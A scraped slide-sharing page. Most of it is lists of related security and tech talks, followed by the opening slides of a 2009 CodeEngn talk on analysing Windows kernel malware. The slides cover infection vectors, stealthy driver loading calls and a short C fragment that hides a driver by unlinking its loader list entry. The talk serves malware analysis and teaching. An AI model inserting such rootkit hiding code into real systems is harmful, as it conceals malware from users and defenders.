Defcon 27 - Writing custom backdoor payloads with C#Defcon 27 - Writing custom backdoor payloads with C#
Defcon 27 - Writing custom backdoor payloads with C#Mauricio Velazco
 
Codeigniter4の比較と検証
Codeigniter4の比較と検証Codeigniter4の比較と検証
Codeigniter4の比較と検証ME iBotch
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudAndrea Righi
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazyMichael Boman
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON
 
LSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityLSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityBrendan Gregg
 
Tracer Evaluation
Tracer EvaluationTracer Evaluation
Tracer EvaluationQiao Han
 

Similar to [2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법 (20)

Virtual platform
Virtual platformVirtual platform
Virtual platform
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)
 
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
 
Windows内核技术介绍
Windows内核技术介绍Windows内核技术介绍
Windows内核技术介绍
 
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
 
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
 
Android Boot Time Optimization
Android Boot Time OptimizationAndroid Boot Time Optimization
Android Boot Time Optimization
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptx
 
Defcon 27 - Writing custom backdoor payloads with C#
Defcon 27 - Writing custom backdoor payloads with C#Defcon 27 - Writing custom backdoor payloads with C#
Defcon 27 - Writing custom backdoor payloads with C#
 
Genode Compositions
Genode CompositionsGenode Compositions
Genode Compositions
 
Codeigniter4の比較と検証
Codeigniter4の比較と検証Codeigniter4の比較と検証
Codeigniter4の比較と検証
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloud
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
 
LSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityLSFMM 2019 BPF Observability
LSFMM 2019 BPF Observability
 
Tracer Evaluation
Tracer EvaluationTracer Evaluation
Tracer Evaluation
 

More from GangSeok Lee

[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안GangSeok Lee
 
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석GangSeok Lee
 
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 FuzzingGangSeok Lee
 
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼GangSeok Lee
 
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?GangSeok Lee
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KOGangSeok Lee
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study ENGangSeok Lee
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KOGangSeok Lee
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis ENGangSeok Lee
 
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드GangSeok Lee
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)GangSeok Lee
 
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기
[2014 CodeEngn Conference 10] 노용환 -  디버거 개발, 삽질기[2014 CodeEngn Conference 10] 노용환 -  디버거 개발, 삽질기
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기GangSeok Lee
 
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다GangSeok Lee
 
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과GangSeok Lee
 
[2013 CodeEngn Conference 09] proneer - Malware Tracker
[2013 CodeEngn Conference 09] proneer - Malware Tracker[2013 CodeEngn Conference 09] proneer - Malware Tracker
[2013 CodeEngn Conference 09] proneer - Malware TrackerGangSeok Lee
 
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualizationGangSeok Lee
 
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploitsGangSeok Lee
 
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론GangSeok Lee
 
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석GangSeok Lee
 
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽GangSeok Lee
 

More from GangSeok Lee (20)

[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
 
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
 
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
 
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
 
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
 
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
 
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기
[2014 CodeEngn Conference 10] 노용환 -  디버거 개발, 삽질기[2014 CodeEngn Conference 10] 노용환 -  디버거 개발, 삽질기
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기
 
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
 
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
 
[2013 CodeEngn Conference 09] proneer - Malware Tracker
[2013 CodeEngn Conference 09] proneer - Malware Tracker[2013 CodeEngn Conference 09] proneer - Malware Tracker
[2013 CodeEngn Conference 09] proneer - Malware Tracker
 
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
 
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
 
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
 
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
 
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
 

Recently uploaded

Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 

Recently uploaded (20)

Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 

[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법

  • 2. ¢ Malware ¢ Infection ¢ Windows Kernel ¢ Exam 1. Hide Driver & Process ¢ Exam 2. Hook SDT & IDT ¢ Exam 3. Attach Device ¢ Exam 4. Create UserMode Thread ¢ Exam 5. Subverting the MBR ¢ Analysis 3rd CodeEngn ReverseEngineering Seminar
  • 3. ¢ Virus ¢ Trojan ¢ Worm ¢ Exploit / Vulnerability ¢ Spyware / Addware ¢ Hox 3rd CodeEngn ReverseEngineering Seminar
  • 4. [ E-Mail ] - HTML - 첨부파일 - HyperLink [ WEB ] - Download - Iframe - Script [ 네트워크 공유 ] - $ 공유 - User 공유 - Exploit [ Application Exploit ] - Office - Acrobat - Explorer - … [ Messenger ] - MSN - NateOn - 버디버디 - … [ USB Memory ] - Autorun.inf - Virus - Trojan - Exploit [ Windows Vulnerability ] - MS09-XXX [ Hacking ] - Exploit - 사회공학기 법 - … [ Internet Worm ] - Subnet - Shared - Exploit [ 불법 Software ] - Trojan - Dropper - … 3rd CodeEngn ReverseEngineering Seminar
  • 5. User Kernel System Virtual Machine DOS Virtual Machine Win32 Application System DLL Win16 Application System DLL .DRV Driver MS-DOS Application .SYS Driver Ring-0 Driver “Virtualizing” Device Driver Hardware 3rd CodeEngn ReverseEngineering Seminar
  • 6. User Mode Kernel Mode Applications Hardware abstraction layer Hardware Win32 subsystem I/O Manager Device Drivers Win32 API calls System service interface IRP passed to driver dispatch routine HAL calls Platform-specific operations 3rd CodeEngn ReverseEngineering Seminar
  • 7. “A Rootkit is a set of programs and code that allows a permanent or consistent, undetectable presence on a computer” 3rd CodeEngn ReverseEngineering Seminar
  • 9. Web Hacking Insert IFrame Or JavaScript Exploit or FileDownload Malware [ SPECIAL FEATURE ] I. Rootkit Hide Loading II. Driver Hiding III. Process Hiding 3rd CodeEngn ReverseEngineering Seminar
  • 10. § SCM (Service Control Manager) § ZwSetSystemInformation ZwSetSystemInformation( SystemLoadAndCallImage, &MyDriver, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE) ) § ZwLoadDriver ZwLoadDriver( DriverServiceName ) 3rd CodeEngn ReverseEngineering Seminar
  • 11. DRIVER_OBJECT PLDR_DATA_TABLE_ENTRY B.SYS LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRYLDR_DATA_TABLE_ENTRY - LDR_DATA_TABLE_ENTRY (pDriverObject->DriverSection) pLDR = *((LDR_DATA_TABLE_ENTRY**)((DWORD)pDriverObject + 0x14)); - LIST_ENTRY *((PDWORD)pLDR-> InLoadOrderLinks.Blink) = (DWORD)pLDR-> InLoadOrderLinks.Flink; *((DWORD*)pLDR-> InLoadOrderLinks.Flink->Blink = (DWORD)pLDR-> InLoadOrderLinks.Blink; 3rd CodeEngn ReverseEngineering Seminar
